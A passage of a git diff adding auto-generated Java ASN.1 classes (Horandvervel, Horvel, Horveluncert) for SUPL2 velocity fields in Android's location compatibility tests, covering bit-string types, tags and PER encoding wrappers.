+ this.horspeed_ = (Horandvervel.horspeedType) value;
+ }
+ public Horandvervel.horspeedType setHorspeedToNewInstance() {
+ horspeed_ = new Horandvervel.horspeedType();
+ return horspeed_;
+ }
+
+ private Horandvervel.verspeedType verspeed_;
+ public Horandvervel.verspeedType getVerspeed() {
+ return verspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horandvervel.verspeedType
+ */
+ public void setVerspeed(Asn1Object value) {
+ this.verspeed_ = (Horandvervel.verspeedType) value;
+ }
+ public Horandvervel.verspeedType setVerspeedToNewInstance() {
+ verspeed_ = new Horandvervel.verspeedType();
+ return verspeed_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getVerdirect() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVerdirect();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerdirectToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandvervel.verdirectType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "verdirect : "
+ + getVerdirect().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBearing() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBearing();
+ }
+
+ @Override public void setToNewInstance() {
+ setBearingToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandvervel.bearingType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bearing : "
+ + getBearing().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getHorspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHorspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setHorspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandvervel.horspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "horspeed : "
+ + getHorspeed().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getVerspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVerspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horandvervel.verspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "verspeed : "
+ + getVerspeed().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class verdirectType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_verdirectType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public verdirectType() {
+ super();
+ setMinSize(1);
+setMaxSize(1);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_verdirectType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_verdirectType != null) {
+ return ImmutableList.of(TAG_verdirectType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new verdirectType from encoded stream.
+ */
+ public static verdirectType fromPerUnaligned(byte[] encodedBytes) {
+ verdirectType result = new verdirectType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new verdirectType from encoded stream.
+ */
+ public static verdirectType fromPerAligned(byte[] encodedBytes) {
+ verdirectType result = new verdirectType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "verdirectType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bearingType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_bearingType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bearingType() {
+ super();
+ setMinSize(9);
+setMaxSize(9);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bearingType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bearingType != null) {
+ return ImmutableList.of(TAG_bearingType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerUnaligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerAligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bearingType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class horspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_horspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public horspeedType() {
+ super();
+ setMinSize(16);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_horspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_horspeedType != null) {
+ return ImmutableList.of(TAG_horspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerUnaligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerAligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "horspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class verspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_verspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public verspeedType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_verspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_verspeedType != null) {
+ return ImmutableList.of(TAG_verspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new verspeedType from encoded stream.
+ */
+ public static verspeedType fromPerUnaligned(byte[] encodedBytes) {
+ verspeedType result = new verspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new verspeedType from encoded stream.
+ */
+ public static verspeedType fromPerAligned(byte[] encodedBytes) {
+ verspeedType result = new verspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "verspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Horandvervel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horvel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horvel.java
new file mode 100755
index 0000000..b382c78
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horvel.java
@@ -0,0 +1,449 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Horvel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Horvel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Horvel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Horvel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Horvel != null) {
+ return ImmutableList.of(TAG_Horvel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Horvel from encoded stream.
+ */
+ public static Horvel fromPerUnaligned(byte[] encodedBytes) {
+ Horvel result = new Horvel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Horvel from encoded stream.
+ */
+ public static Horvel fromPerAligned(byte[] encodedBytes) {
+ Horvel result = new Horvel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Horvel.bearingType bearing_;
+ public Horvel.bearingType getBearing() {
+ return bearing_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horvel.bearingType
+ */
+ public void setBearing(Asn1Object value) {
+ this.bearing_ = (Horvel.bearingType) value;
+ }
+ public Horvel.bearingType setBearingToNewInstance() {
+ bearing_ = new Horvel.bearingType();
+ return bearing_;
+ }
+
+ private Horvel.horspeedType horspeed_;
+ public Horvel.horspeedType getHorspeed() {
+ return horspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horvel.horspeedType
+ */
+ public void setHorspeed(Asn1Object value) {
+ this.horspeed_ = (Horvel.horspeedType) value;
+ }
+ public Horvel.horspeedType setHorspeedToNewInstance() {
+ horspeed_ = new Horvel.horspeedType();
+ return horspeed_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBearing() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBearing();
+ }
+
+ @Override public void setToNewInstance() {
+ setBearingToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horvel.bearingType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bearing : "
+ + getBearing().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getHorspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHorspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setHorspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horvel.horspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "horspeed : "
+ + getHorspeed().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bearingType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_bearingType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public bearingType() {
+ super();
+ setMinSize(9);
+setMaxSize(9);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_bearingType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_bearingType != null) {
+ return ImmutableList.of(TAG_bearingType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerUnaligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new bearingType from encoded stream.
+ */
+ public static bearingType fromPerAligned(byte[] encodedBytes) {
+ bearingType result = new bearingType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "bearingType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class horspeedType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_horspeedType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public horspeedType() {
+ super();
+ setMinSize(16);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_horspeedType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_horspeedType != null) {
+ return ImmutableList.of(TAG_horspeedType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerUnaligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new horspeedType from encoded stream.
+ */
+ public static horspeedType fromPerAligned(byte[] encodedBytes) {
+ horspeedType result = new horspeedType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "horspeedType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Horvel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horveluncert.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horveluncert.java
new file mode 100755
index 0000000..c6ed9ef
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_components/Horveluncert.java
@@ -0,0 +1,591 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class Horveluncert extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_Horveluncert
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public Horveluncert() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_Horveluncert;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_Horveluncert != null) {
+ return ImmutableList.of(TAG_Horveluncert);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new Horveluncert from encoded stream.
+ */
+ public static Horveluncert fromPerUnaligned(byte[] encodedBytes) {
+ Horveluncert result = new Horveluncert();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new Horveluncert from encoded stream.
+ */
+ public static Horveluncert fromPerAligned(byte[] encodedBytes) {
+ Horveluncert result = new Horveluncert();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Horveluncert.bearingType bearing_;
+ public Horveluncert.bearingType getBearing() {
+ return bearing_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horveluncert.bearingType
+ */
+ public void setBearing(Asn1Object value) {
+ this.bearing_ = (Horveluncert.bearingType) value;
+ }
+ public Horveluncert.bearingType setBearingToNewInstance() {
+ bearing_ = new Horveluncert.bearingType();
+ return bearing_;
+ }
+
+ private Horveluncert.horspeedType horspeed_;
+ public Horveluncert.horspeedType getHorspeed() {
+ return horspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horveluncert.horspeedType
+ */
+ public void setHorspeed(Asn1Object value) {
+ this.horspeed_ = (Horveluncert.horspeedType) value;
+ }
+ public Horveluncert.horspeedType setHorspeedToNewInstance() {
+ horspeed_ = new Horveluncert.horspeedType();
+ return horspeed_;
+ }
+
+ private Horveluncert.uncertspeedType uncertspeed_;
+ public Horveluncert.uncertspeedType getUncertspeed() {
+ return uncertspeed_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Horveluncert.uncertspeedType
+ */
+ public void setUncertspeed(Asn1Object value) {
+ this.uncertspeed_ = (Horveluncert.uncertspeedType) value;
+ }
+ public Horveluncert.uncertspeedType setUncertspeedToNewInstance() {
+ uncertspeed_ = new Horveluncert.uncertspeedType();
+ return uncertspeed_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBearing() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBearing();
+ }
+
+ @Override public void setToNewInstance() {
+ setBearingToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horveluncert.bearingType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bearing : "
+ + getBearing().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getHorspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getHorspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setHorspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horveluncert.horspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "horspeed : "
+ + getHorspeed().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getUncertspeed() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUncertspeed();
+ }
+
+ @Override public void setToNewInstance() {
+ setUncertspeedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Horveluncert.uncertspeedType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "uncertspeed : "
+ + getUncertspeed().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class bearingType extends Asn1BitString {
